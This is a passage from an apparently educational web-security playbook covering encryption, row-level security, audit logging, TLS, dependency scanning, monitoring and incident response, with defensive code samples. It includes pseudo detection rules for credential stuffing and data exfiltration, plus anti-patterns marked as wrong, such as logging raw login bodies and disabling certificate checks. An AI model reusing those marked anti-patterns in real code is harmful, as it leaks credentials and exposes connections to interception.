  keys live in a KMS, rotated; the data owner ≠ the key owner (separation)
🧠
Analogy 1 — an armored truck and a vault: encryption in transit is the armored truck moving cash between branches (no one robs it en route). Encryption at rest is the vault at each branch (a break-in finds a locked box, not loose cash). You need both — the road and the building.
🔐
Analogy 2 — a diary written in cipher, kept in a locked drawer: even if someone steals the drawer (the disk), the pages are gibberish without the key — and the key is kept somewhere else entirely (the KMS), so stealing the diary isn't enough.
TLS on the connection; field encryption for the crown jewels
// ✅ require TLS to the database — verify the server cert, don't just "sslmode=require"
const db = new Pool({
  connectionString: process.env.DATABASE_URL,
  ssl: { rejectUnauthorized: true, ca: fs.readFileSync('rds-ca.pem') }
})

// ✅ app-level (field) encryption for the most sensitive columns; key from KMS
const ssnCipher = await kms.encrypt({ keyId: SSN_KEY, plaintext: ssn })
await db.query('INSERT INTO people(ssn_enc) VALUES ($1)', [ssnCipher])
// at-rest volume encryption is enabled at the infra layer (RDS/EBS "encrypted: true")
🧒
In plain wordsScramble sensitive data in two situations: while it's traveling between computers (so no one can eavesdrop on the network) and while it's sitting on disk (so a stolen drive or leaked backup is just gibberish). Keep the "unscramble key" in a separate locked service, so having the data isn't enough to read it.

✅ Do

  • Force TLS on every connection, internal hops included; verify certificates
  • Enable volume/disk encryption; field-encrypt the most sensitive columns
  • Keep keys in a KMS, rotate them, and separate key access from data access

❌ Don't

  • Leave internal service→DB traffic unencrypted "because it's private"
  • Store encryption keys next to the data they protect
Gotcha: at-rest encryption defends a narrow threat — a stolen disk or raw backup — and does nothing against an attacker who reaches the running database, because the DB serves them decrypted data transparently. It's not a substitute for access control (topics 15, 23). And sslmode=require without verify-full encrypts the channel but skips cert verification, leaving you open to a MITM impersonating your database.
25PII, data minimization & row-level security

Scenario: a support engineer runs an ad-hoc query and accidentally exports every customer's full SSN and card number — data you never actually needed to store. A multi-tenant reporting bug then shows tenant A rows from tenant B. Both are data-exposure incidents that collecting less and row-level security would have prevented.

What

Handling personal data responsibly: collect the minimum, tokenize/mask what you must keep, and enforce row-level access so each tenant/user sees only their own rows — at the database.

Why

The data you never collect can't leak. What you do keep is a liability under privacy law (GDPR/CCPA) — minimization and isolation shrink both breach impact and legal exposure.

How

Store only what's needed, mask/tokenize sensitive fields, set retention/deletion, and push tenant isolation into the DB via Row-Level Security policies.

Collect less; isolate rows in the DB itself
  MINIMIZE                         ROW-LEVEL SECURITY (defense in depth)
  ┌───────────────────────┐        every query auto-filtered by tenant:
  │ need age? store a bool │        SELECT * FROM invoices
  │  "over_18", not a DOB  │           → DB adds  WHERE tenant_id = current_tenant
  │ need card? tokenize it │        so even a missing app-side filter (IDOR, t15)
  │ set a deletion date    │           can't leak another tenant's rows
  └───────────────────────┘        the DB enforces isolation, not just the app
🧠
Analogy 1 — a shop that doesn't photocopy your passport: the safest way to never lose your ID is to never hold it. Data minimization is asking "do we truly need this?" — a bar checks you're over 18 without keeping a copy of your birth certificate.
🏬
Analogy 2 — separate locked storage units per tenant: row-level security is the storage facility itself checking your unit number on every visit, so you physically can't walk into a neighbor's unit — even if the front-desk clerk (the app) forgets to check.
Postgres row-level security enforces tenant isolation
// app sets the current tenant once per request (from the SESSION, not the client)
await db.query('SET app.tenant_id = $1', [req.user.tenantId])
# ✅ the DB filters EVERY query on this table by tenant, automatically
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
CREATE POLICY tenant_isolation ON invoices
  USING (tenant_id = current_setting('app.tenant_id')::uuid);
-- now  SELECT * FROM invoices  can only ever return the current tenant's rows,
-- even if the app forgets a WHERE clause. Isolation lives in the database.
🧒
In plain wordsDon't hoard people's personal info — the data you never collect can't be stolen or leaked. For what you must keep, hide or scramble the sensitive bits. And when many customers share one database, have the database itself make sure each customer only ever sees their own rows, so one coding slip can't spill one customer's data to another.

✅ Do

  • Collect the minimum; mask/tokenize sensitive fields; set retention & deletion
  • Enforce tenant/user isolation with Row-Level Security in the database
  • Derive the tenant/user from the session, and set it server-side per request

❌ Don't

  • Store raw SSNs/cards/DOBs "in case we need them later"
  • Rely only on app-side WHERE tenant_id — one missed clause leaks everything
Gotcha: row-level security only holds if the app can't bypass it — a superuser or table-owner role ignores RLS by default (BYPASSRLS), so if your app connects as the owner, the policy is silently inert. Connect as a non-owner role with FORCE ROW LEVEL SECURITY, and set the tenant from the verified session — a client-supplied tenant_id would let a user pick which tenant to "become."
26Audit logging & tamper evidence

Scenario: months after a breach, you're asked "what did the attacker access, and when?" — and you have no idea, because sensitive reads and admin actions were never logged. Worse, the attacker did have access to your logs and quietly deleted the lines that named them. Without a tamper-evident audit trail, you can neither detect nor prove what happened.

What

An audit log: an append-only record of security-relevant events — who did what, to what, when — especially sensitive data access, admin actions, and permission changes.

Why

It's how you detect, investigate, and prove what happened (OWASP A09). Compliance often requires it; incident response is impossible without it.

How

Log the right events with actor/target/time, ship them off the host to append-only/WORM storage the app can't edit, and never log secrets or full PII.

Append-only, shipped off the box the attacker owns
   event: {who, action, target, when, ip, result}
        │
        ▼  ship immediately ──► central log store (append-only / WORM)
                                   │  attacker on the app host CANNOT edit it
   ✅ actor=user:88  action=export  target=customers  n=50000  → ALERT
   ❌ don't log: passwords, tokens, full card/SSN — logs leak too
   tamper-evidence: hash-chain or signed entries → deletion is detectable
🧠
Analogy 1 — a CCTV feed recorded off-site: a camera that saves to a tape in the same room lets the burglar take the tape. A feed streamed to a remote, write-once recorder captures them and survives them. Audit logs must live where the attacker can't reach to erase them.
📒
Analogy 2 — a bank ledger in pen, not pencil: entries are added, never erased; crossing one out is itself visible. Hash-chaining is the ledger where tearing out a page breaks the running total, so tampering can't hide.
Log security events; ship them somewhere immutable
// ✅ structured, security-relevant, no secrets — shipped to central store
audit.log({
  actor:  req.user.id,
  action: 'invoice.export',
  target: 'customers',
  count:  rows.length,
  ip:     clientIp(req),
  result: 'success',
  at:     new Date().toISOString()
})
// ❌ logger.info(`login body: ${JSON.stringify(req.body)}`)  // leaks the password!
// forward off-host to append-only storage; alert on anomalies (bulk export, off-hours admin)
🧒
In plain wordsKeep a diary of important security events — who logged in, who looked at or exported sensitive data, who changed permissions. Store that diary somewhere the attacker can't reach and erase, and set it up so any tampering shows. Then if something bad happens, you can actually see what was touched — and prove it. Just be careful the diary itself never writes down passwords.

✅ Do

  • Log auth events, sensitive data access, admin actions, and permission changes
  • Ship logs off-host to append-only/WORM storage; consider hash-chaining or signing
  • Alert on anomalies (bulk exports, off-hours admin, repeated failures)

❌ Don't

  • Log passwords, tokens, or full PII — logs leak and get over-shared
  • Keep the only copy of logs on the same box an attacker would compromise
Gotcha: logs are a double-edged tool — under-log and you're blind during an incident; over-log and the log store becomes the breach (tokens, PII, and session ids scraped from "debug" logs are a top leak source). The discipline is logging the security-relevant metadata (who/what/when) without the sensitive payload. And an audit log the app can rewrite isn't evidence — immutability is what makes it trustworthy.
Part V · Transport & Operations
27TLS / HTTPS — what the padlock really means

Scenario: your marketing site is HTTP-only, so on café Wi-Fi an attacker injects a fake login form into the page mid-transit and harvests passwords. Elsewhere, an internal API "uses TLS" but skips certificate verification, so a man-in-the-middle presents any cert and reads everything. The padlock is only as good as what it actually verifies.

What

TLS gives every connection three things: encryption (no eavesdropping), integrity (no tampering), and authentication (you're really talking to who you think, via certificates).

Why

Without it, anyone on the path reads and rewrites traffic — passwords, tokens, pages. Weak TLS (no cert check, old protocols) quietly gives the same result.

How

HTTPS everywhere, redirect HTTP→HTTPS, enforce HSTS (topic 20), verify certificates on every hop (including internal), and disable legacy protocols/ciphers.

The three guarantees — and how weak TLS drops one
  HTTPS =  encryption  +  integrity  +  authentication (the cert!)
              │              │                │
   no eavesdrop      no tampering      "is this really the server?"

  ❌ HTTP           → attacker reads & injects (café-wifi login theft)
  ❌ TLS, no verify → encrypted to the WRONG party (MITM presents any cert)
  ✅ TLS + verify-full + HSTS → sniffing, tampering, AND impersonation blocked
🧠
Analogy 1 — a sealed, signed courier vs a postcard: HTTP is a postcard everyone along the route can read and edit. TLS is a tamper-proof envelope plus a verified signature proving it's really from your bank. Skipping cert verification is accepting the envelope without checking the signature — anyone can forge the sender.
📛
Analogy 2 — checking ID at the door, not just whispering: encryption is whispering so no one overhears; authentication is confirming the person you're whispering to is actually who they claim. Whispering to an imposter is still a leak.
Verify the live TLS setup, not just "https in the URL"
# HSTS present? protocol modern? cert valid and not expiring?
$ curl -sI https://app.example.com | grep -i strict-transport-security
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

$ echo | openssl s_client -connect app.example.com:443 -servername app.example.com 2>/dev/null \
      | openssl x509 -noout -issuer -dates
issuer=C=US, O=Let's Encrypt, CN=R3
notAfter=Sep 14 12:00:00 2026 GMT          # monitor expiry — auto-renew (ACME)
# redirect all HTTP → HTTPS at the edge; disable TLS 1.0/1.1 and weak ciphers
🧒
In plain wordsHTTPS (the padlock) does three jobs: it scrambles your traffic so no one can read it, stops anyone changing it on the way, and proves you're really connected to the right website (not an imposter). If a site is plain HTTP, or "uses HTTPS" but doesn't actually check the website's ID, someone in the middle can still spy or impersonate. Use real HTTPS everywhere and verify the certificate.

✅ Do

  • HTTPS everywhere; redirect HTTP→HTTPS; enforce HSTS
  • Verify certificates on every connection, including internal service→service
  • Automate renewal (ACME) and monitor expiry; disable TLS 1.0/1.1 and weak ciphers

❌ Don't

  • Disable cert verification "to make it work" — that's encryption to an imposter
  • Assume internal traffic is safe unencrypted, or let certs silently expire
Gotcha: "we use HTTPS" is not the same as "we verify certificates." A client with rejectUnauthorized: false or verify=none still shows a padlock and still encrypts — to whoever answers, including a man-in-the-middle. Authentication (cert verification) is the part that actually stops impersonation, and it's the part most often quietly disabled to silence a cert error. Fix the cert, never the verification.
28Dependency & vulnerability scanning (SCA)

Scenario: a critical CVE drops in a logging library you use three layers deep. Attackers are exploiting it within hours. The question isn't "are we good coders?" — it's "do we even know we ship that library, and can we patch it today?" Without dependency scanning and an SBOM, you find out from the breach, not the bulletin.

What

Software Composition Analysis: continuously inventory your dependencies (and their dependencies) and check them against known-vulnerability databases (CVEs).

Why

Most code you ship is third-party (topic 12). "Vulnerable and outdated components" is OWASP A06 — and a known CVE in a dependency is a pre-built exploit.

How

Scan in CI and continuously, generate an SBOM, fail builds on high-severity known vulns, and keep a fast patch path so you can ship a fix in hours.

Know what you ship, and whether it's on fire
  your code  +  direct deps  +  hundreds of transitive deps  =  what you SHIP
        │
        ▼  SCA scan (CI + continuous) ── cross-check against CVE feeds
   ✅ SBOM: a bill of materials — "we ship lib X@1.2 in these services"
   ✅ new CVE in X? → the SBOM answers "are we affected?" in minutes
   ✅ CI gate: fail the build on HIGH/CRITICAL known vulns → don't ship them
   speed of PATCH matters as much as speed of detection
🧠
Analogy 1 — a food-recall list for your pantry: when a product is recalled, you need to know instantly if it's on your shelves. An SBOM is your itemized pantry list; SCA is cross-checking it against recalls every day, so a bad ingredient is pulled before it's served.
🩺
Analogy 2 — routine screening, not waiting for symptoms: you don't wait for an outage to discover a known-vulnerable library any more than you skip check-ups until you collapse. Continuous scanning catches the treatable problem early.
Inventory + scan in CI; gate on severity
# dependency vulnerabilities (app + container image)
$ npm audit --audit-level=high            # fail if a HIGH/CRITICAL vuln is present
$ trivy image myapp:latest                # scans OS + language deps in the image

# generate an SBOM so "are we affected by CVE-XXXX?" is answerable in minutes
$ syft myapp:latest -o cyclonedx-json > sbom.json

# CI gate (pseudo): block the release on known-exploitable, patchable vulns
$ trivy image --exit-code 1 --severity HIGH,CRITICAL myapp:latest
🧒
In plain wordsYour app is built from lots of other people's code, and sometimes a dangerous bug is discovered in one of those pieces — with a ready-made attack. You need a list of every piece you use (an SBOM) and a robot that checks that list against the "known dangerous" database every day, so you can patch fast instead of learning about it from an attacker.

✅ Do

  • Scan dependencies and images in CI and continuously; gate on high severity
  • Generate and keep an SBOM so "are we affected?" is a minutes-long question
  • Keep a fast patch/deploy path — detection is worthless without quick remediation

❌ Don't

  • Scan only direct dependencies — most CVEs hide in transitive ones
  • Let a wall of low-severity noise bury the one critical finding that matters
Gotcha: a scanner that cries wolf gets muted. Hundreds of low/medium findings train the team to ignore the feed, so the one critical, reachable CVE scrolls past. Triage by exploitability and whether the vulnerable code path is actually reachable (reachability analysis) — and remember an SBOM is only as fresh as your last scan; a dependency added yesterday isn't covered by a scan from last week.
29Logging, detection & monitoring — the security you can see

Scenario: the industry statistic that should terrify you: attackers often dwell in a network for weeks or months before anyone notices. Your app logs exist, but nothing watches them. The breach isn't detected by you — it's detected by a customer, a researcher, or the extortion email. Detection is the difference between "a scary week" and "a front-page catastrophe."

What

Turning security events (topic 26) into alerts: aggregate logs, watch for attack signatures and anomalies, and page a human when something looks wrong. Measured by MTTD/MTTR — time to detect / respond.

Why

Prevention eventually fails; detection bounds the damage. Unmonitored logs are just disk usage. OWASP A09 is "logging & monitoring failures."

How

Centralize logs, define alert rules for known-bad and anomalies, wire them to on-call, and test that a real attack actually fires an alert.

Logs are useless until something watches them
   app + auth + infra logs ──► central store (SIEM) ──► rules / anomaly ──► ALERT ──► on-call
                                                            │
   fires on:  spike in 401/403 · bulk data export · new admin from new geo ·
              impossible travel · a WAF block burst · secret used from odd IP
   metric that matters: MTTD (mean time to DETECT). weeks = failure; minutes = mature.
   and: TEST it — run a benign "attack" and confirm the pager actually goes off.
🧠
Analogy 1 — a burglar alarm, not just cameras: cameras that no one watches only help after the theft, during the police report. An alarm wakes you during the break-in. Monitoring is wiring your cameras (logs) to an alarm (alerts) so you respond while it's happening.
🚨
Analogy 2 — a smoke detector you actually test: a detector with a dead battery is worse than none — it gives false confidence. Running a test alert (fire drill) is pressing the button to confirm it still screams. Untested detection is a dead battery.
Emit signals, alert on the dangerous patterns, test the alarm
// emit a structured, alertable security metric (no secrets, topic 26)
metrics.increment('auth.failed', { user: hash(email), ip: clientIp(req) })

// an example detection rule (pseudo): brute force / stuffing in progress
// IF auth.failed FROM one ip > 100 in 5m         → page: possible brute force
// IF auth.failed ACROSS many ips, one account    → page: credential stuffing
// IF data.export.rows > 10000 by non-admin        → page: possible exfiltration
// IF admin.login FROM new country                 → page: verify or block
# prove the pipeline works end-to-end — don't wait for a real incident
$ ./scripts/security-drill.sh   # simulate 200 failed logins → expect a page in <5m
🧒
In plain wordsKeeping logs isn't enough if no one ever looks at them — that's like having security cameras nobody watches. You need something that watches for danger signs (tons of failed logins, someone downloading everything, an admin logging in from a new country) and immediately wakes up a human. And you have to test the alarm now and then, or you'll discover it was broken only during a real emergency.

✅ Do

  • Centralize logs and define alerts for known-bad patterns and anomalies
  • Wire alerts to on-call; track and drive down MTTD/MTTR
  • Run periodic drills to confirm real attacks actually trigger a page

❌ Don't

  • Collect logs no one monitors — that's cost, not security
  • Drown real alerts in noise; tune thresholds so the pager means something
Gotcha: alert fatigue kills detection more often than missing data does. A pager that fires 50 times a day gets silenced, so the one true positive is ignored — the breach lands in a muted channel. Fewer, higher-signal alerts beat exhaustive noisy ones. And detection you've never tested is a guess: teams routinely discover during a real incident that the log source was down, the rule had a typo, or the pager routed to someone who left the company.
30Incident response — a breach, end to end★ capstone

Scenario: 2:14am, an alert fires: a non-admin account just exported 80,000 customer rows from a new IP. This is the moment every previous topic pays off — or doesn't. What you do in the next hour, and whether you prepared for it, decides whether this is a contained event or a company-ending breach. Let's walk it end to end.

What

Incident response: the prepared, repeatable process for handling a breach — Prepare → Detect → Contain → Eradicate → Recover → Learn (PICERL).

Why

Under pressure, people improvise badly. A runbook, defined roles, and prior drills turn panic into procedure — and cut both damage and legal exposure.

How

Prepare in calm times (runbooks, contacts, backups, logging). In the incident: contain fast, preserve evidence, eradicate the root cause, recover cleanly, then run a blameless post-mortem.

One breach, walked through every topic in this playbook
  0:00 DETECT   alert: bulk export, non-admin, new IP   (t29 monitoring, t26 audit)
  0:05 CONTAIN  revoke session + rotate the leaked key   (t21 secrets, t10 cookies)
                block the IP, disable the account         (t19 limits)
  0:20 ASSESS   what could that role even reach?          (t3, t15, t23 least-priv)
                → scoped role = blast radius was small
  0:40 ERADICATE find root cause: an IDOR on /export       (t15 access control)
                patch it, deploy the fix                   (t28 fast patch path)
  1:30 RECOVER  restore integrity, verify no persistence, force re-auth
  next day LEARN blameless post-mortem → new test, new alert, new guardrail (t5)
  ── preparation (calm-time work) is what makes 2am a procedure, not a panic ──
🧠
Analogy 1 — a fire drill vs a fire: nobody reads the evacuation map while the building burns. The families who get out calmly practiced when there was no fire. Incident response is the drill — roles assigned, exits known, extinguisher tested — so the real emergency is muscle memory, not improvisation.
🏥
Analogy 2 — an ER trauma protocol: the team doesn't debate who does what when the patient arrives — stop the bleeding (contain), stabilize (eradicate/recover), then debrief. The protocol, rehearsed in advance, is why chaos becomes coordinated care.
The calm-time preparation that makes 2am survivable
# PREPARE (before anything happens) — the unglamorous work that saves you
$ cat incident-runbook.md
  1. who to page (on-call, legal, comms) + how to reach them off-hours
  2. how to revoke sessions / rotate keys / disable an account — FAST commands
  3. where the logs & audit trail live, and how to preserve evidence
  4. tested, offline backups + a practiced restore procedure
  5. breach-notification obligations (who/when) — know the legal clock

# DRILL it — a tabletop or a real game-day, quarterly, so the runbook isn't fiction
$ ./scripts/incident-gameday.sh   # inject a fake breach; time the response (MTTR)
🧒
In plain wordsSomeday something will go wrong, so decide ahead of time exactly what you'll do — like a fire drill. When the alarm rings: quickly stop the bleeding (cut off the attacker), figure out how they got in, fix that hole, clean up, and get back to normal. Then afterward, calmly talk about what happened — without blaming a person — and add a new safeguard so it can't happen the same way twice. Every earlier topic in this playbook is a tool you reach for in that hour.

✅ Do

  • Write and drill a runbook: roles, contacts, revoke/rotate commands, backups
  • Contain fast, preserve evidence, then eradicate the root cause — not just the symptom
  • Run a blameless post-mortem and turn each finding into a test or guardrail

❌ Don't

  • Improvise during the incident, or wipe systems before preserving evidence
  • Blame individuals — it hides the real, systemic causes and kills honest reporting
Gotcha: the two classic incident-response failures are destroying evidence while panicking (reimaging the box before you captured what happened, so you can't tell what was taken or close the real hole) and containing the symptom, not the cause (blocking one IP while the vulnerability that let them in stays open, so they're back in an hour under a new address). Preparation — done when nothing is on fire — is the single highest-leverage security investment, and the one teams skip because it never feels urgent until it's too late.

Answer 5 per round. Your progress and score are saved in this browser — come back anytime and continue where you left off. One question per topic, across all five parts.

Score: 0 / 0 answered · 0 total